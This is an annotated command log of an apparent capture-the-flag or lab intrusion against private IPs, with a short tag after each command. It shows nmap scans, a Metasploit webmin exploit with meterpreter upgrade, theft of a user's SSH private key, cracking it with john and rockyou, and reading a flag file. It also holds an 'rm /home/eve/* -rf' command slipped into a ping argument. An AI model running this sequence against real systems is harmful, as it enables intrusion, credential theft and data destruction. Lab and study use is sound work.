```
nmap 172.18.1.5 A1
                   nmap -p- 172.18.1.5 A1
                     ssh 172.18.1.5 A16
                   nmap -A 172.18.1.5 A1
                       msfconsole M2
                           help U
                     search webmin M3
                          use 3 A4
                          show A5
                         show all A5
                      show options M5
                 set RHOSTS 172.18.1.5 M6
                       show options U
                         exploit M8
                             ip U
                        ip address U
                  set LHOST 10.1.135.83 U
                          exploit U
                search\ shell\_to\_meterpreter\ U
                          use 0 A4
                         sessions -l U
                       show options U
                      set SESSION 2 U
                            run U
                         sessions 2 U
                         sessions - U
                         sessions 2 U
                      search webmin U
                          use 3 A4
                          exploit U
                  ping rm /home/eve/* -rf U
                          logout U
                      ping 10.1.18.22 U
                      ping 10.1.18.22 U
                            exit U
                       show options U
                     ssh 172.18.1.5 A16
                      ls ~/.ssh A10 A16
                       ssh-keygen A16
                           ls A10
                      ls ~/.ssh A10 A16
                        cd ~/.ssh A16
                           ls A10
                     cat id_rsa.pub M12
                  ssh eve@172.18.1.5 M16
                         sessions 5 U
                    ssh eve@10.1.17.4 U
                           ls A10
                          ls -la A10
                          cd .ssh U
                           ls A10
                  cat id_rsa A1 A9 A11 A17
                           ls A10
                          vim key U
     ssh eve@10.1.17.4 cat ~/.ssh/id_rsa A1 A9 A11 A17
    ssh eve@172.18.1.5 cat ~/.ssh/id_rsa A1 A9 A11 A17
    ssh eve@172.18.1.5 cat '~/.ssh/id_rsa' A1 A9 A11 A17
 ssh eve@172.18.1.5 cat '~/.ssh/id_rsa' > key A1 A9 A11 A17
                           ls A10
                      .ssh2john.py A14
                      ./ssh2john.py A14
              ./ssh2john.py key > crack.txt A14
                 cat crack.txt A1 A9 A11 A17
                           ls A10
                        cd Desktop/ U
                           ls A10
                          ls -la A10
                            cd .. U
                           ls A10
                     john crack.txt A14
                       cd /usr/share U
                           ls A10
                       cd wordlists/ U
                           ls A10
john crack.txt --wordlist=/usr/share/wordlists/rockyou.txt M14
                    ssh eve@10.1.17.4 U
                            exit U
                           ls A10
                       cd top-secret/ U
                           ls A10
```

cat flag.txt M17

nmap 172.18.1.5 M0